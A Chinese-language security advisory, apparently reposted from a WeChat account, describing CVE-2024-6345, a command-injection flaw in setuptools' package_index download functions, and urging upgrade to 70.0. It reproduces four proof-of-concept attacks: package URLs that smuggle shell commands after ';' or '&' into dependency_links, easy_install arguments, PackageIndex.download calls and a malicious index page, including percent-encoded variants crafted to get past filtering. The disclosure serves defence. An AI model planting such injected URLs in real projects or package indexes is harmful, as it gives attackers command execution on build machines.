Setuptools 是一个广泛使用的用于打包、分发和安装 Python 项目的库,现已发现一个严重的安全漏洞。该漏洞被指定为CVE-2024-6345,CVSS 评分为8.8,由于 package_index 模块中的漏洞,该系统可能面临远程代码执行(RCE) 的风险。
Setuptools 的 package_index 模块简化了与 PyPi 等软件包索引服务器的交互,但其下载功能容易受到代码注入攻击。这些功能对于从指定 URL 检索和安装软件包至关重要,当 URL 由用户提供或从软件包索引服务器的 HTML 页面自动提取时,这些功能很容易受到攻击。
此漏洞影响范围广泛,会影响任何使用受感染版本的 Setuptools 构建 Python 项目的系统。主要风险包括:
- 针对使用受影响软件包索引的系统进行攻击:任何依赖易受攻击的 package_index 模块进行项目构建的系统都可能成为攻击者的目标。
- 命令 Shell 访问:利用此漏洞可以授予攻击者命令 Shell 访问权限,从而使他们在受感染的系统上执行任意命令。
- 整个系统受到攻击:最严重的风险涉及完全系统接管,允许攻击者操纵或窃取敏感数据,安装恶意软件并破坏正常运行。
报告 CVE-2024-6345 漏洞的安全研究员 CybrX 已发布详细的技术分析和概念验证漏洞代码,强调了问题的严重性。
由于 Setuptools 在 Python 生态系统中无处不在,无数项目和系统都可能面临风险。任何使用 Setuptools 的包索引系统构建 Python 项目的系统都可能存在漏洞,成功利用该漏洞的后果可能是灾难性的。攻击者可能会获得命令 shell 访问权限、窃取敏感数据、安装恶意软件,甚至完全控制受影响的系统。
强烈建议所有使用 Setuptools 的用户和组织升级到版本 70.0立即。此更新版本包含修复程序,可解决该漏洞并防止代码注入攻击。
70版本:
https://github.com/pypa/setuptools/releases
PoC
https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5
引用:
描述
Setuptools 是一个便于打包、分发和安装 Python 项目的库。库中的 package_index 模块提供了一种与包索引服务器交互的便捷方式,但它的下载功能容易受到代码注入攻击。这些下载功能用于 setuptools 库的各个部分,特别是用于从包索引服务器上提供的 URL 下载包。这些 URL 可以由用户提供,也可以由 setuptools 从包索引服务器(如 PyPi 或自定义服务器)的 HTML 页面自动检索。
。
此外,由于 setuptools 是一个库,因此其函数可以导入到许多其他项目中以提供附加功能,而不仅仅是用于构建项目本身。但是,如果这些易受攻击的函数暴露给用户控制的输入(例如包 URL),则可能导致系统容易受到远程代码执行 (RCE) 攻击。
。
为了展示这些漏洞可能引发的攻击,我在下面给出了一些 POC:
概念验证
POC 1-通过Setup
配置文件进行代码注入
步骤1:准备一个Python项目,其目录结构如下:
。
假设setup.py
有以下内容:
from setuptools import setup
setup(
name='cybr',
version='0.1',
author='Your Name',
author_email='[email protected]',
description='A short description of your package',
packages=['cybr'],
classifiers=[
'Development Status :: 3 - Alpha',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.8',
],
install_requires=[
"Package-A",
],
dependency_links=[
"git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A",
],
)
注意依赖项链接(git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A
),
。
第 2 步:使用以下命令构建项目: python setup.py install
。
我们注入的命令(echo 'hello' > ..
)将被执行,从而在当前目录中创建一个新文件。
POC 2 – 通过命令行进行代码注入
下面的命令会触发注入的命令,这是自我攻击,但是这种使用方式可能会出现在远程用户传入 URL 的软件项目中,从而使软件容易受到 RCE 攻击。
python setup.py easy_install "git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A"
POC 3-通过依赖 setuptools 实现某些功能的自定义应用程序进行代码注入。
此类应用程序的一个示例如下:
from setuptools.package_index import (
PackageIndex,
parse_requirement_arg,
URL_SCHEME,
)
package_index = PackageIndex()
url = "git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A" # Passed in via an api or something.
print(f"Fetching url: \"{url}\"")
print("Observe the new file created (named 'good@main') in the current directory.\nPress Ctrl+C and see it..")
package_index.download(url, '/tmp/testing')
POC 4 – 通过软件包索引页面上的恶意 URL(超链接中包含注入的代码)进行大规模代码注入
对于 POC,我们将设置一个包索引服务器,为名为 Package-A 的包提供下载链接。服务器源代码将具有以下目录结构:Package-A/index.html 的内容将如下所示:
<!DOCTYPE html>
<html>
<head>
<title>POC - My Package Index Server</title>
</head>
<body>
<a href="git://example.com/package-a.egg%20%26%20ls%20.%20%3E%20hello%26%20echo%20%40main%23egg%3DPackage-A">Package-A (for attacking setuptools 65.5 )</a>
<a href="git://localhost:8000/CybrX & ls > hack &/Package-A-0.0.1.tar.gz#sha256=03b39212b3408d8ca5f6247462b31a88cf3e64c0222cb179529ec2a6baa14d92">Package-A (for attacking setuptools 69.1.1 )</a>
</body>
</html>
为简单起见,我们将使用一个简单的 Python HTTP 服务器来提供 HTML 内容。在服务器文件夹的根目录下运行以下命令
python -m http.server -b localhost -d ./
。
我们的演示应用程序命名Cybr
如下:在
setup.cfg
,我们将在配置我们的自定义包索引服务器https://localhost:8000
(默认情况下,使用 PyPI 包索引)。
[easy_install]
find_links = http://localhost:8000
index_url = http://localhost:8000
在 中setup.py
,我们有一个名为 的配置来安装依赖项Package-A
:
from setuptools import setup
setup(
name='cybr',
version='0.1',
author='Your Name',
author_email='[email protected]',
description='A short description of your package',
packages=['cybr'],
classifiers=[
'Development Status :: 3 - Alpha',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.8',
],
install_requires=[
"Package-A",
],
)
现在,当我们使用命令打包应用程序时python setup.py install
,setuptools 将使用 上的 URL 安装依赖项 Package-A。setuptoolshttp://localhost:8000/Package-A
在访问 时会扫描并解析这些 URL localhost:8000/Package-A
。在我们的例子中,有以下 URL:
- 适用于 setuptools 版本 - 65.5
git://example.com/package-a.egg%20%26%20ls%20.%20%3E%20hello%26%20echo%20%40main%23egg%3DPackage-A
- 对于最新版本的 setuptools - 69.1.1
git://localhost:8000/CybrX & ls > hack &/Package-A-0.0.1.tar.gz#sha256=03b39212b3408d8ca5f6247462b31a88cf3e64c0222cb179529ec2a6baa14d92
值得注意的是,我对 URL 的特定部分进行了编码,以便绕过沿途的各种障碍。解码后的 URL 部分将传递给易受攻击的下载函数,该函数将执行注入的代码。解码后的 URL(分别)如下所示:
git://example.com/package-a.egg & ls . > hello& echo @main#egg=Package-A
git://localhost:8000/CybrX & ls > hack &/Package-A-0.0.1.tar.gz#sha256=03b39212b3408d8ca5f6247462b31a88cf3e64c0222cb179529ec2a6baa14d92
我们必须在不同版本的 setuptools 中对 URL 进行不同的编码,因为它们对 HTML URL 的解码在不同版本之间有所不同。
影响
1. 所有使用受影响的软件包索引系统构建 Python 项目的系统都可能成为攻击目标
2. 命令 shell 访问
3. 全面系统入侵
原文始发于微信公众号(独眼情报):【PoC】CVE-2024-6345(8.8),Setuptools存在安全漏洞,可导致 Python 项目遭受 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论